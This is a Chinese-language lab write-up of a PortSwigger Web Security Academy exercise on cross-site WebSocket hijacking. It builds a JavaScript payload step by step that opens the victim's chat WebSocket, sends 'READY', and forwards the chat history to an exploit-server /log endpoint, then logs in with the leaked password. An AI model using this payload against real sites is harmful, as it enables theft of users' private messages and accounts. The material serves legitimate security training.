从业者-跨站点WebSocket劫持
# 实验室:跨站点WebSocket劫持
# 题目
这个在线商店有一个使用 WebSockets 实现的实时聊天功能。
若要解决实验室问题,请使用漏洞利用服务器托管 HTML/JavaScript 有效负载,该负载使用跨站点 WebSocket 劫持攻击来泄露受害者的聊天记录,然后以此访问他们的帐户。
笔记
为了防止学院平台被用来攻击第三方,我们的防火墙阻止了实验室与任何外部系统之间的交互。要解决实验室问题,必须使用 实验室中提供的漏洞利用服务器 或 Burp Collaborator 的默认公共服务器。
- name: 实验室-从业者
desc: 跨站点WebSocket劫持 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
一个购物站点。
先启用 BurpSuite 代理,然后再点击 “Live chat” 进入聊天室。
进入聊天室后,成功捕获 WebSockets 握手请求。可以看到,握手请求中没有任何 CSRF 防护。
对于跨站点 WebSockets 劫持,我们需要在自己的域上创建 WebSockets 连接。那么问题来了,如何创建呢?
直接查看目标站点的 js 文件,看看受害站点是如何创建 WebSockets 连接的,创建连接后又进行了哪些操作。我们照抄就好了。
受害站点先获取了form
表单中的action
属性值,是聊天室的 URL 链接,然后通过该 URL 创建了一个 WebSockets 连接。
wss: <目标站点>/chat
访问漏洞利用服务器,照抄:
- 通过
new WebSocket()
向目标站点发送一个 WebSockets 握手请求,以求建立连接; - 将连接对象赋值给
ws
变量; - 通过
onopen
事件监听连接,如果连接建立成功,则通过send()
函数向服务端发送一条消息。
<script>
var ws = new WebSocket('wss://<目标站点>/chat');
ws.onopen = function (evt) {
ws.send("this is exploit");
}
</script>
2
3
4
5
6
保存以上代码。
访问漏洞利用 URL,我们的域成功向目标站点发出了 WebSockets 握手请求。
建立连接后,消息也成功发出了。
但是服务端没有任何回应。
如果你曾进入过聊天室并捕获过 WebSockets 消息,你就会发现,客户端的第一条消息总是 “READY”。
那我们也发送一个 “READY” 试试看,同时使用onmessage
事件监听来自服务端的消息,并将服务端消息打印到控制台:
<script>
var ws = new WebSocket('wss://<目标站点>/chat');
ws.onopen = function (evt) {
ws.send("READY");
}
ws.onmessage = function (evt) {
console.log(evt.data);
}
</script>
2
3
4
5
6
7
8
9
10
当我们向服务端发送 “READY” 这五个字符时,服务端终于向我们返回了响应。
看看控制台,成功打印了来自服务端的消息。
那么接下来如何利用漏洞呢?
好好想想,我们向服务端发送 “READY”,服务端会把我们的聊天记录返回给我们。
如果受害用户向服务端发送 “READY”,服务端同样会把受害用户的聊天记录返回给他。
那么,能不能通过 CSRF 攻击,在服务端返回 “受害用户聊天记录” 的同时,将其转给我们一份?
前面学的 XSS 和 CSRF 没忘吧?构造以下载荷:
<script>
var ws = new WebSocket('wss://<目标站点>/chat');
ws.onopen = function (evt) {
ws.send("READY");
}
ws.onmessage = function (evt) {
var xhr = new XMLHttpRequest();
xhr.open('get', 'https://<漏洞利用服务器>/log?data='+encodeURIComponent(evt.data),true)
xhr.send();
}
</script>
2
3
4
5
6
7
8
9
10
11
12
使用事件onmessage
监听来自服务端的消息,然后将消息通过 GET 请求发送到我们的域。
以我们的视角,访问漏洞利用 URL。
我们访问,触发onopen
事件,我们向服务端发送 “READY”。服务端返回我们的聊天记录,触发onmessage
事件,恶意 JavaScript 将聊天记录发送到恶意域。
将载荷发送给受害用户。
受害用户访问,触发onopen
事件,受害用户向服务端发送 “READY”。服务端返回受害用户的聊天记录,触发onmessage
事件,恶意 JavaScript 将聊天记录发送到恶意域。
对聊天记录进行解码,这段聊天讲的是 “受害用户忘记了密码,请求客服帮他找一下”:
No problem carlos, it's snryt74ffm705oglxbd9
没问题 carlos,密码是 snryt74ffm705oglxbd9
2
3
访问登录界面,输入捕获的用户名carlos
和密码snryt74ffm705oglxbd9
进行登录。
登录成功,实验完成。